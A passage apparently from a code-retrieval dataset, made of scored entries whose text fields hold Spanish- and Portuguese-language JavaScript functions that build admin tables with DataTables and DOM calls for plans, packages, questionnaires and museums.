true,\n\t\t\t\"serverSide\":false,\n\t\t\t\"ajax\":{\n\t\t\t\t\"method\":\"POST\",\n\t\t\t\t\"url\": url + \"Planes/listado_planes\",\n\t\t\t\t\"dataSrc\":\"\"\n\t\t\t},\n\t\t\t\"columns\":[\n\t\t\t\t{\"data\": \"id_planes\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\treturn \"<input type='checkbox' class='checkitem chk-col-blue' id='item\"+data+\"' value='\"+data+\"'><label for='item\"+data+\"'></label>\"\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"cod_planes\"},\n\t\t\t\t{\"data\":\"descripcion\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tvar text = data;\n\t\t\t\t\t\tif (data != null)\n\t\t\t\t\t\t\tif (data.length > 20)\n\t\t\t\t\t\t\t\ttext = data.substr(0,19) + \"...\"\n\t\t\t\t\t\treturn text;\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"vigencia\"},\n\t\t\t\t{\"data\":\"tiempo_contrato\"},\n\t\t\t\t{\"data\":\"fec_regins\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tvar valor = data.date;\n\t\t\t\t\t\tfecha = valor.split(\" \");\n\t\t\t\t\t\treturn cambiarFormatoFecha(fecha[0]);\n\t \t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"precio\"},\n\t\t\t\t{\"data\":\"correo_usuario\"},\n\t\t\t\t{\"data\": null,\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tvar botones = \"\";\n\t\t\t\t\t\tif(consultar == 0)\n\t\t\t\t\t\t\tbotones += \"<span class='consultar btn btn-xs btn-info waves-effect' data-toggle='tooltip' title='Consultar'><i class='fa fa-eye' style='margin-bottom:5px'></i></span> \";\n\t\t\t\t\t\tif(actualizar == 0)\n\t\t\t\t\t\t\tbotones += \"<span class='editar btn btn-xs btn-primary waves-effect' data-toggle='tooltip' title='Editar'><i class='fa fa-pencil-square-o' style='margin-bottom:5px'></i></span> \";\n\t\t\t\t\t\tif(data.status == true && actualizar == 0)\n\t\t\t\t\t\t\tbotones += \"<span class='desactivar btn btn-xs btn-warning waves-effect' data-toggle='tooltip' title='Desactivar'><i class='fa fa-unlock' style='margin-bottom:5px'></i></span> \";\n\t\t\t\t\t\telse if(data.status == false && actualizar == 0)\n\t\t\t\t\t\t\tbotones += \"<span class='activar btn btn-xs btn-warning waves-effect' data-toggle='tooltip' title='Activar'><i class='fa fa-lock' style='margin-bottom:5px'></i></span> \";\n\t\t\t\t\t\tif(borrar == 0)\n\t\t \t\tbotones += \"<span class='eliminar btn btn-xs btn-danger waves-effect' data-toggle='tooltip' title='Eliminar'><i class='fa fa-trash-o' style='margin-bottom:5px'></i></span>\";\n\t\t \t\treturn botones;\n\t\t \t}\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"language\": idioma_espanol,\n\t\t\t\"dom\": 'Bfrtip',\n\t\t\t\"responsive\": true,\n\t\t\t\"buttons\":[\n\t\t\t\t'copy', 'csv', 'excel', 'pdf', 'print'\n\t\t\t]\n\t\t});\n\t\tver(\"#tabla tbody\", table);\n\t\teditar(\"#tabla tbody\", table);\n\t\teliminar(\"#tabla tbody\", table);\n\t\tdesactivar(\"#tabla tbody\", table);\n\t\tactivar(\"#tabla tbody\", table);\n\t}", "title": "" }, { "docid": "b013e8ae15416496e7c1a48552a502ac", "score": "0.58223367", "text": "function cargarAreasAdministrador(){\n var cat = document.getElementById('categorias').value;\n var categorias = cat.split(\"|\");\n categoriasGlobal = categorias;\n var cont = 1;\n \n var tabla = document.getElementById(\"tabla-categorias\");\n \n // Iconos correspondiente para cada boton\n var iconoVer = \"<i class='medium material-icons right icono-pos'>remove_red_eye</i>\";\n var iconoEditar = \"<i class='medium material-icons right icono-pos'>edit</i>\";\n var iconoEliminar = \"<i class='medium material-icons right icono-pos'>delete</i>\";\n \n for (var i = 0; i < categorias.length - 1; i=i+3) {\n \n var rColumna1 = \"<td>\"+ (cont++) +\"</td>\";\n var rColumna2 = \"<td>\"+ categorias[i] +\"</td>\";\n var rColumna3 = \"<td>\"+ categorias[i+1] +\"</td>\";\n var rColumna4 = \"<td>\"+ categorias[i+2]+\"</td>\";\n \n var botonVer = \"<div class='botones-seperacion'><button type='submit' onclick=seleccionarCategoria('\"+escape(categorias[i])+\"') class='remove_red_eye btn-tam btn btn-dark'>\"+iconoVer+\"</button></div>\";\n var botonEditar = \"<div class='botones-seperacion'><button type='submit' onclick=modalEditarCategoria('\"+escape(categorias[i])+\"') class='btn-tam btn btn-info' data-toggle='modal' data-target='#exampleModal' data-whatever='@mdo'>\"+iconoEditar+\"</button></div>\";\n var botonEliminar = \"<div class='botones-seperacion'><button type='submit' onclick=modalEliminarCategoria('\"+escape(categorias[i])+\"') class='btn-tam btn btn-danger' data-toggle='modal' data-target='#exampleModal' data-whatever='@mdo'>\"+iconoEliminar+\"</button></div>\";\n \n var rColumna5 = \"<td><div class='botones-grupo'>\"+botonVer+botonEditar+botonEliminar+\"</td></div>\";\n if(i == 0){\n var registro = \"<tr>\"+rColumna1+rColumna2+rColumna3+rColumna4+rColumna5+\"</tr\";\n tabla.innerHTML = registro; \n }\n else{\n var registro = \"<tr>\"+rColumna1+rColumna2+rColumna3+rColumna4+rColumna5+\"</tr\";\n tabla.innerHTML += registro; \n }\n }\n cargarOpciones();\n}", "title": "" }, { "docid": "85ed6b6b283673ffebdc9577194e5897", "score": "0.5819275", "text": "function buscar_cuestionario() {\n $('.classcuestionario').remove();\n $('.class_cuestionarios').remove();\n\n var datosTabla = \"<tr class='class_establecimiento'>\" + \"<td>a</td>\" + \"<td>b</td>\" + \"<td>c</td>\" + \"</tr>\";\n\n //creamos variable que contenga la tabla de datos \n var tabla = nombres_cuestionarios();\n\n $('#txt_buscar_cuestionario').val(\"\");\n\n //almacenaran los datos a asignar en folio\n \n // $('#padre').hide();\n $('#cuadro_buscar_cuestionario').show();\n\n $.each(tabla, function(index,item) {\n datosTabla = \"<tr class='class_cuestionarios' style='color:black;' >\" + \"<td style='width:15%'>\" + item.folio + \"</td>\" + \"<td class='IDPB' style='width:70%'>\" + item.nom_cuestionario + \"</td>\" + \"<td style='width:15%'> \" + item.estatus + \"</td>\" + \"</tr>\";\n\n $('.tablaCuestionario').append(datosTabla);\n })//fin each\n\n var nombre = \"\", folio = 0, estatus = \"false\";\n \n //dar evento a seleccion de click en celda\n $('.class_cuestionarios').on(\"click\",function () {\n //recorre los hijos de tr\n $(this).children(\"td\").each(function (subIndex) {\n //asigna nombre y folio\n switch (subIndex) {\n case 0:\n folio = $(this).text();\n break;\n case 1:\n nombre = $(this).text();\n break;\n case 2:\n estatus = $(this).text();\n break;\n }\n //nombre = nombres_cuestionarios_por_folio(folio);\n });\n\n\n //agrega nombre al cuadro de buscar\n $(\"#txt_buscar_cuestionario\").val(nombre);\n });\n //dar evento a boton seleccionar\n $('#btn_selec_cuestionario').click(function () {\n $('#mCuestionario').val(folio);\n $('.textoCuestioario').val(nombre);\n $(\"#vigencia\").val(estatus);\n //$('#padre').show();\n $('#openModal').hide();\n\n //eliminar tr existentes de tabla a llenar\n $('.class_cuestionarios').remove();\n //console.log(\"rem:\" + index);\n \n\n //deshabilitamos el boton editar\n if ($('#mCuestionario').val() != \"\")\n $('#btEditar').prop('disabled', false);\n else\n $('#btEditar').prop('disabled', true);\n //aqui vamos a llamar a la funcion de checar folios para llenar campos de preguntas\n checarFolioLlenarCampos();\n filtrar_tabla_preguntas()\n });//fin fn evento boton\n \n\n //dar evento a boton seleccionar\n $('#btn_selec_cuestionario').click(function () {\n // console.log(folio + \":\" + nombre + \":\" + estatus);\n $('#mCuestionario').val(folio);\n $('.textoCuestioario').val(nombre);\n $(\"#vigencia\").val(estatus);\n //$('#padre').show();\n $('#openModal').hide();\n\n //eliminar tr existentes de tabla a llenar\n $('.class_cuestionarios').remove();\n //console.log(\"rem:\" + index);\n\n });\n $('.class_cuestionarios').on(\"dblclick\", function () {\n $(this).children(\"td\").each(function (subIndex) {\n //asigna nombre y folio\n switch (subIndex) {\n case 0:\n folio = $(this).text();\n break;\n case 1:\n nombre = $(this).text();\n break;\n case 2:\n estatus = $(this).text();\n break;\n }\n //nombre = nombres_cuestionarios_por_folio(folio);\n });\n\n\n // console.log(folio + \":\" + nombre + \":\" + estatus);\n $('#mCuestionario').val(folio);\n $('.textoCuestioario').val(nombre);\n $(\"#vigencia\").val(estatus);\n var est = document.getElementById(\"perm\");\n est.setAttribute(\"value\", estatus);\n //$(\"#perm\").text(estatus);\n //$('#padre').show();\n $('#openModal').hide();\n\n //eliminar tr existentes de tabla a llenar\n $('.class_cuestionarios').remove();\n //console.log(\"rem:\" + index);\n\n\n //deshabilitamos el boton editar\n if ($('#mCuestionario').val() != \"\")\n $('#btEditar').prop('disabled', false);\n else\n $('#btEditar').prop('disabled', true);\n //aqui vamos a llamar a la funcion de checar folios para llenar campos de preguntas\n checarFolioLlenarCampos();\n });\n\n\n $('#btn_cancelar_cuestionario').click(function () {\n $('#mCuestionario').val(\"\");\n $('#textoCuestioario').val(\"\");\n $('#cuadro_buscar_cuestionario').val(\"\");\n $('#openModal').hide();\n\n //eliminar tr existentes de tabla a llenar\n $('.class_cuestionarios').remove();\n\n });\n\n filtrar_tabla_cuestionario();\n}//fin", "title": "" }, { "docid": "feb140fccd39b61b9ba2732ae8da3174", "score": "0.58191466", "text": "function mostrarTablaSolicitudesSalidaResidencia(){\r\n\r\n}", "title": "" }, { "docid": "e2afa2b5bb85253036590a0c78fba1ae", "score": "0.58189154", "text": "function gerarTabela(dadosMgil) {\n var casos = dadosMgil.map(function (d) {\n return d.localidade;\n });\n var bairros = dadosMgil.map(function (d) {\n return d.registros;\n });\n\n var corpoTabela = document.getElementById(\"tabela-bairros\");\n function tabela() {\n // Tabela\n var tabela = document.createElement(\"table\");\n tabela.className = \"table\";\n // Título\n var thead = tabela.appendChild(document.createElement(\"thead\"));\n var trTitulo = thead.appendChild(document.createElement(\"tr\"));\n var thCasos = trTitulo.appendChild(document.createElement(\"th\"));\n thCasos.scope = \"col\";\n var thBairros = trTitulo.appendChild(document.createElement(\"th\"));\n thBairros.scope = \"col\";\n\n thCasos.append(\"Casos\");\n thBairros.append(\"Bairros\");\n\n var tbody = tabela.appendChild(document.createElement(\"tbody\"));\n\n // Gerar Linha\n function tr(caso, bairro) {\n var tr = document.createElement(\"tr\");\n\n var th = document.createElement(\"th\");\n th.scope = \"row\";\n var td = document.createElement(\"td\");\n\n th.innerHTML = caso;\n td.innerHTML = bairro;\n tr.appendChild(th);\n tr.appendChild(td);\n\n return tr;\n }\n\n // Adiciona Elemento linha a linha\n for (var i = 0; i < casos.length; i++) {\n tbody.appendChild(tr(casos[i], bairros[i]));\n }\n\n return tabela;\n }\n\n corpoTabela.appendChild(tabela());\n}", "title": "" }, { "docid": "6bd90df326e66ba21c5efdc1bb735e96", "score": "0.5814893", "text": "function listar(cuadro){\n\t\tcontarModulosIni();\n\t\tcontarModulosPaquetes();\n\t\t$('#tabla tbody').off('click');\n\t\tcuadros(cuadro, \"#cuadro1\");\n\t\tvar url=document.getElementById('ruta').value; //obtiene la ruta del input hidden con la variable <?=base_url()?>\n\t\tvar table=$(\"#tabla\").DataTable({\n\t\t\t\"destroy\":true,\n\t\t\t\"stateSave\": true,\n\t\t\t\"serverSide\":false,\n\t\t\t\"ajax\":{\n\t\t\t\t\"method\":\"POST\",\n\t\t\t\t\"url\": url + \"Paquetes/listado_paquetes\",\n\t\t\t\t\"dataSrc\":\"\"\n\t\t\t},\n\t\t\t\"columns\":[\n\t\t\t\t{\"data\": \"id_paquete\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\treturn \"<input type='checkbox' class='checkitem chk-col-blue' id='item\"+data+\"' value='\"+data+\"'><label for='item\"+data+\"'></label>\"\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\": null,\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tvar botones = \"\";\n\t\t\t\t\t\tif(consultar == 0)\n\t\t\t\t\t\t\tbotones += \"<span class='consultar btn btn-xs btn-info waves-effect' data-toggle='tooltip' title='Consultar'><i class='fa fa-eye' style='margin-bottom:5px'></i></span> \";\n\t\t\t\t\t\tif(actualizar == 0)\n\t\t\t\t\t\t\tbotones += \"<span class='editar btn btn-xs btn-primary waves-effect' data-toggle='tooltip' title='Editar'><i class='fa fa-pencil-square-o' style='margin-bottom:5px'></i></span> \";\n\t\t\t\t\t\tif(data.status == true && actualizar == 0)\n\t\t\t\t\t\t\tbotones += \"<span class='desactivar btn btn-xs btn-warning waves-effect' data-toggle='tooltip' title='Desactivar'><i class='fa fa-unlock' style='margin-bottom:5px'></i></span> \";\n\t\t\t\t\t\telse if(data.status == false && actualizar == 0)\n\t\t\t\t\t\t\tbotones += \"<span class='activar btn btn-xs btn-warning waves-effect' data-toggle='tooltip' title='Activar'><i class='fa fa-lock' style='margin-bottom:5px'></i></span> \";\n\t\t\t\t\t\tif(borrar == 0)\n\t\t \t\tbotones += \"<span class='eliminar btn btn-xs btn-danger waves-effect' data-toggle='tooltip' title='Eliminar'><i class='fa fa-trash-o' style='margin-bottom:5px'></i></span>\";\n\t\t \t\treturn botones;\n\t\t \t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"descripcion\"},\n\t\t\t\t{\"data\":\"codigo\"},\n\t\t\t\t{\"data\": \"precio\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\treturn \"<div style='text-align: right;'>\"+data+\"</div>\"\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"titulo_plan\"},\n\t\t\t\t{\"data\":\"servicios\"},\n\t\t\t\t{\"data\":\"posicion_paquetes\"},\n\t\t\t\t{\"data\":\"fec_regins\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tvar valor = data.date;\n\t\t\t\t\t\tfecha = valor.split(\" \");\n\t\t\t\t\t\treturn cambiarFormatoFecha(fecha[0]);\n\t \t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"correo_usuario\"},\n\t\t\t],\n\t\t\t\"language\": idioma_espanol,\n\t\t\t\"dom\": 'Bfrtip',\n\t\t\t\"responsive\": true,\n\t\t\t\"buttons\":[\n\t\t\t\t'copy', 'csv', 'excel', 'pdf', 'print'\n\t\t\t]\n\t\t});\n\t\tver(\"#tabla tbody\", table);\n\t\teditar(\"#tabla tbody\", table);\n\t\teliminar(\"#tabla tbody\", table);\n\t\tdesactivar(\"#tabla tbody\", table);\n\t\tactivar(\"#tabla tbody\", table);\n\t}", "title": "" }, { "docid": "fbb47b9e274deb6c1abcfe8c3eea0058", "score": "0.5812289", "text": "function exibeTabuleiro() {\n for (let i = 0; i < tabuleiro.length; i++) {\n let coluna = document.createElement(\"div\");\n coluna.classList.add(\"coluna\");\n coluna.id = \"coluna\" + `${i}`;\n gameContent.appendChild(coluna);\n\n for (let j = 0; j < tabuleiro[i].length; j++) {\n let celula = document.createElement(\"div\");\n celula.classList.add(\"celula\");\n\n if (i === 0) {\n celula.id = `${j}`;\n } else {\n celula.id = `${i}` + `${j}`;\n }\n coluna.appendChild(celula);\n }\n }\n}", "title": "" }, { "docid": "ab757d2070a918a7043281cb8442cf5a", "score": "0.58106756", "text": "function cargarTablaUrgencias(articuloUrgencia){\n\n\t$('.tablaUrgencias').DataTable( {\n\t\t\"ajax\": \"ajax/maestros/tabla-urgencias.ajax.php?perfil=\"+$(\"#perfilOculto\").val()+\"&articuloUrgencia=\" + articuloUrgencia,\n\t\t\"deferRender\": true,\n\t\t\"retrieve\": true,\n\t\t\"processing\": true,\n\t\t\"pageLength\": 20,\n\t\t\"lengthMenu\": [[20, 40, 60, -1], [20, 40, 60, 'Todos']],\n\t\t \"language\": {\n\t\n\t\t\t\t\"sProcessing\": \"Procesando...\",\n\t\t\t\t\"sLengthMenu\": \"Mostrar _MENU_ registros\",\n\t\t\t\t\"sZeroRecords\": \"No se encontraron resultados\",\n\t\t\t\t\"sEmptyTable\": \"Ningún dato disponible en esta tabla\",\n\t\t\t\t\"sInfo\": \"Mostrando registros del _START_ al _END_ de un total de _TOTAL_\",\n\t\t\t\t\"sInfoEmpty\": \"Mostrando registros del 0 al 0 de un total de 0\",\n\t\t\t\t\"sInfoFiltered\": \"(filtrado de un total de _MAX_ registros)\",\n\t\t\t\t\"sInfoPostFix\": \"\",\n\t\t\t\t\"sSearch\": \"Buscar:\",\n\t\t\t\t\"sUrl\": \"\",\n\t\t\t\t\"sInfoThousands\": \",\",\n\t\t\t\t\"sLoadingRecords\": \"Cargando...\",\n\t\t\t\t\"oPaginate\": {\n\t\t\t\t\"sFirst\": \"Primero\",\n\t\t\t\t\"sLast\": \"Último\",\n\t\t\t\t\"sNext\": \"Siguiente\",\n\t\t\t\t\"sPrevious\": \"Anterior\"\n\t\t\t\t},\n\t\t\t\t\"oAria\": {\n\t\t\t\t\t\"sSortAscending\": \": Activar para ordenar la columna de manera ascendente\",\n\t\t\t\t\t\"sSortDescending\": \": Activar para ordenar la columna de manera descendente\"\n\t\t\t\t}\n\t\n\t\t} \n\t} );\n\n}", "title": "" }, { "docid": "963595fb4c1727b4ef7a4a25fd2a7e15", "score": "0.5800424", "text": "function marcarabajo(e, index) {\n var fila = $(e).data(\"fila\");\n var col = $(e).data(\"col\");\n if (index > 1) {\n var mindex = index - 1;\n var ficha = $(\"#tabla\" + mindex + \" [data-fila=\" + fila + \"][data-col=\" + col + \"]\");\n\n if (ficha.hasClass(\"sel\")) {\n marc(ficha);\n } else {\n marcarabajo(e, mindex);\n }\n } else if ($(e).hasClass(\"sel\")) {\n marc(e);\n }\n}", "title": "" }, { "docid": "11de01a3f78ae30c9d4590485fa6fb4e", "score": "0.5793587", "text": "function mostrarTablaMateriasSeleccionadasActualmente(){\r\n\r\n // mostrando opciones si es admin\r\n\r\n \r\n \r\n if(usuarios[idUsuarioActual].materiasSeleccionadasActualmente.length === 0){\r\n \r\n console.error(\"La tabla no contiene ningun elemento, por favor agreguele elementos\"); \r\n \r\n }else{\r\n \r\n var tbl = document.getElementById(\"tabla-materias-seleccionadas-actualmente\");\r\n\r\n // borrando el contenido de la tabla si existe para que no se repital\r\n tbl.innerHTML = \"\";\r\n\r\n var tblBody = document.createElement(\"tbody\"); \r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Id\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Codigo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Nombre\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Creditos\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n tblBody.appendChild(fila);\r\n \r\n \r\n\r\n for (var i = 0; i < usuarios[idUsuarioActual].materiasSeleccionadasActualmente.length; i++) {\r\n\r\n\r\n\r\n if(i > 0){\r\n if(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].cuatrimestre > usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i-1].cuatrimestre){\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Cuatrimestre \" + usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].cuatrimestre);\r\n celda.appendChild(textoCelda);\r\n celda.setAttribute(\"colspan\",\"4\");\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n }\r\n }else if(i === 0){\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Cuatrimestre \" + usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].cuatrimestre);\r\n celda.appendChild(textoCelda);\r\n celda.setAttribute(\"colspan\",\"4\");\r\n fila.appendChild(celda);\r\n tblBody.appendChild(fila);\r\n }\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(i);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].codigo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].nombre);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].materiasSeleccionadasActualmente[i].creditos);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda);\r\n\r\n tblBody.appendChild(fila);\r\n \r\n \r\n }\r\n \r\n tbl.appendChild(tblBody);\r\n tbl.setAttribute(\"border\", \"2\");\r\n \r\n console.info(\"Tabla generada exitosamente\");\r\n \r\n }\r\n \r\n}", "title": "" }, { "docid": "6ce4a57ff1d02b30492e90517e35e4b6", "score": "0.579323", "text": "function listar(cuadro){\n\t\t$('#tabla tbody').off('click');\n\t\tif(cuadro!=\"\"){\n\t\t\t$(cuadro).slideUp(\"slow\");\n\t\t}\n\t\t$(\"#cuadro2\").slideDown(\"slow\");\n\t\tvar table=$(\"#tabla\").DataTable({\n\t\t\t\"destroy\":true,\n\t\t\t\"stateSave\": true,\n\t\t\t\"serverSide\":true,\n\t\t\t\"ajax\":{\n\t\t\t\t\"method\":\"POST\",\n\t\t\t\t\"url\":carpeta+\"admin/museos/listing\",\n\t\t\t\t\"data\":{ _token: document.getElementById('token').value}\n\t\t\t},\n\t\t\t\"columns\":[\n\t\t\t\t{\"data\":\"nombre\"},\n\t\t\t\t{\"data\":\"foto\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\treturn '<img src=\"'+carpeta+'images/museos/'+data+'\" class=\"img-responsive img-circle\" style=\"width: 30px;\">';\n\t \t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"fecha_fundacion\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tif(data==\"01-01-2000\"){\n\t\t\t\t\t\t\treturn 'N/A';\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\treturn data;\n\t\t\t\t\t\t}\n\t \t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"telefono\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tif(data==\"\"){\n\t\t\t\t\t\t\treturn 'N/A';\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\treturn data;\n\t\t\t\t\t\t}\n\t \t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"correo\",\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tif(data==\"\"){\n\t\t\t\t\t\t\treturn 'N/A';\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\treturn data;\n\t\t\t\t\t\t}\n\t \t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"status\",\n\t\t\t\t\trender : function(data, type, row) {\n\t \t\treturn '<span class=\"badge\">'+data+'</span>';\n\t \t\t}\n\t\t\t\t},\n\t\t\t\t{\"data\":\"created_at\"},\n\t\t\t\t{\"data\":\"updated_at\"},\n\t\t\t\t{\"data\": null,\n\t\t\t\t\trender : function(data, type, row) {\n\t\t\t\t\t\tvar botones=\"<a href='\"+carpeta+\"admin/museos/\"+data.id+\"/edit' class='botones btn-primary' data-toggle='tooltip' title='Editar'><i class='fa fa-pencil-square-o'></i></a>\";\n\t\t \tif(data.status==\"Disponible\"){\n\t\t \t\tbotones+=\" <span class='bloquear botones btn-warning' data-toggle='tooltip' title='Bloquear'><i class='fa fa-lock'></i></span>\";\n\t\t \t}else if(data.status==\"Restringido\"){\n\t\t\t\t\t\t\tbotones+=\" <span class='desbloquear botones btn-warning' data-toggle='tooltip' title='Desbloquear'><i class='fa fa-unlock'></i></span>\";\n\t\t \t}\n\t\t \tbotones+=\" <span class='asignar botones btn-info' data-toggle='tooltip' title='Asignar Usuarios'><i class='fa fa-user-circle'></i></span>\";\n\t\t \tbotones+=\" <span class='eliminar botones btn-danger' data-toggle='tooltip' title='Eliminar'><i class='fa fa-trash'></i></span>\";\n\t\t \treturn botones;\n\t\t \t}\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"language\": idioma_espanol,\n\t\t\t\"dom\": \"<'row'<'form-inline' <B>>>\"\n\t\t\t\t\t\t +\"<'row' <'form-inline' <f>>>\"\n\t\t\t\t\t\t +\"<rt>\"\n\t\t\t\t\t\t +\"<'row'<'form-inline'\"\n\t\t\t\t\t\t +\" <'col-sm-6 col-md-6 col-lg-6'l>\"\n\t\t\t\t\t\t +\"<'col-sm-6 col-md-6 col-lg-6'p>>>\",\n\t\t\t\"buttons\":[\n\t\t\t\t{\n\t\t \textend: 'colvis',\n\t\t \tcollectionLayout: 'fixed two-column',\n\t\t \ttext: 'Columnas Visibles',\n \t\t},\n \t\t\t{\n\t\t \textend: 'pdfHtml5',\n\t\t \ttext: 'PDF',\n\t\t \texportOptions: {\n\t\t \tcolumns: [':visible' ],\n\t\t \tsearch: 'applied',\n\t\t \torder: 'applied',\n \t\t\t},\n\t\t \theader: true,\n\t\t \ttitle: 'IARTE - Listado de Museos',\n\t\t \torientation: 'landscape',\n\t\t \tcustomize: function (doc) {\n\t\t \tdoc.content[1].table.widths = Array(doc.content[1].table.body[0].length + 1).join('*').split('');\n doc.content.splice(0,1);\n var now = new Date();\n var jsDate = now.getDate()+'-'+ (now.getMonth()+1)+'-'+ now.getFullYear();\n var logo = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfMAAADUCAYAAACI0cpxAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACHDwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAEjHnZZ3VFTXFofPvXd6oc0wAlKG3rvAANJ7k15FYZgZYCgDDjM0sSGiAhFFRJoiSFDEgNFQJFZEsRAUVLAHJAgoMRhFVCxvRtaLrqy89/Ly++Osb+2z97n77L3PWhcAkqcvl5cGSwGQyhPwgzyc6RGRUXTsAIABHmCAKQBMVka6X7B7CBDJy82FniFyAl8EAfB6WLwCcNPQM4BOB/+fpFnpfIHomAARm7M5GSwRF4g4JUuQLrbPipgalyxmGCVmvihBEcuJOWGRDT77LLKjmNmpPLaIxTmns1PZYu4V8bZMIUfEiK+ICzO5nCwR3xKxRoowlSviN+LYVA4zAwAUSWwXcFiJIjYRMYkfEuQi4uUA4EgJX3HcVyzgZAvEl3JJS8/hcxMSBXQdli7d1NqaQffkZKVwBALDACYrmcln013SUtOZvBwAFu/8WTLi2tJFRbY0tba0NDQzMv2qUP91829K3NtFehn4uWcQrf+L7a/80hoAYMyJarPziy2uCoDOLQDI3fti0zgAgKSobx3Xv7oPTTwviQJBuo2xcVZWlhGXwzISF/QP/U+Hv6GvvmckPu6P8tBdOfFMYYqALq4bKy0lTcinZ6QzWRy64Z+H+B8H/nUeBkGceA6fwxNFhImmjMtLELWbx+YKuGk8Opf3n5r4D8P+pMW5FonS+BFQY4yA1HUqQH7tBygKESDR+8Vd/6NvvvgwIH554SqTi3P/7zf9Z8Gl4iWDm/A5ziUohM4S8jMX98TPEqABAUgCKpAHykAd6ABDYAasgC1wBG7AG/iDEBAJVgMWSASpgA+yQB7YBApBMdgJ9oBqUAcaQTNoBcdBJzgFzoNL4Bq4AW6D+2AUTIBnYBa8BgsQBGEhMkSB5CEVSBPSh8wgBmQPuUG+UBAUCcVCCRAPEkJ50GaoGCqDqqF6qBn6HjoJnYeuQIPQXWgMmoZ+h97BCEyCqbASrAUbwwzYCfaBQ+BVcAK8Bs6FC+AdcCXcAB+FO+Dz8DX4NjwKP4PnEIAQERqiihgiDMQF8UeikHiEj6xHipAKpAFpRbqRPuQmMorMIG9RGBQFRUcZomxRnqhQFAu1BrUeVYKqRh1GdaB6UTdRY6hZ1Ec0Ga2I1kfboL3QEegEdBa6EF2BbkK3oy+ib6Mn0K8xGAwNo42xwnhiIjFJmLWYEsw+TBvmHGYQM46Zw2Kx8lh9rB3WH8vECrCF2CrsUexZ7BB2AvsGR8Sp4Mxw7rgoHA+Xj6vAHcGdwQ3hJnELeCm8Jt4G749n43PwpfhGfDf+On4Cv0CQJmgT7AghhCTCJkIloZVwkfCA8JJIJKoRrYmBRC5xI7GSeIx4mThGfEuSIemRXEjRJCFpB+kQ6RzpLuklmUzWIjuSo8gC8g5yM/kC+RH5jQRFwkjCS4ItsUGiRqJDYkjiuSReUlPSSXK1ZK5kheQJyeuSM1J4KS0pFymm1HqpGqmTUiNSc9IUaVNpf+lU6RLpI9JXpKdksDJaMm4ybJkCmYMyF2TGKQhFneJCYVE2UxopFykTVAxVm+pFTaIWU7+jDlBnZWVkl8mGyWbL1sielh2lITQtmhcthVZKO04bpr1borTEaQlnyfYlrUuGlszLLZVzlOPIFcm1yd2WeydPl3eTT5bfJd8p/1ABpaCnEKiQpbBf4aLCzFLqUtulrKVFS48vvacIK+opBimuVTyo2K84p6Ss5KGUrlSldEFpRpmm7KicpFyufEZ5WoWiYq/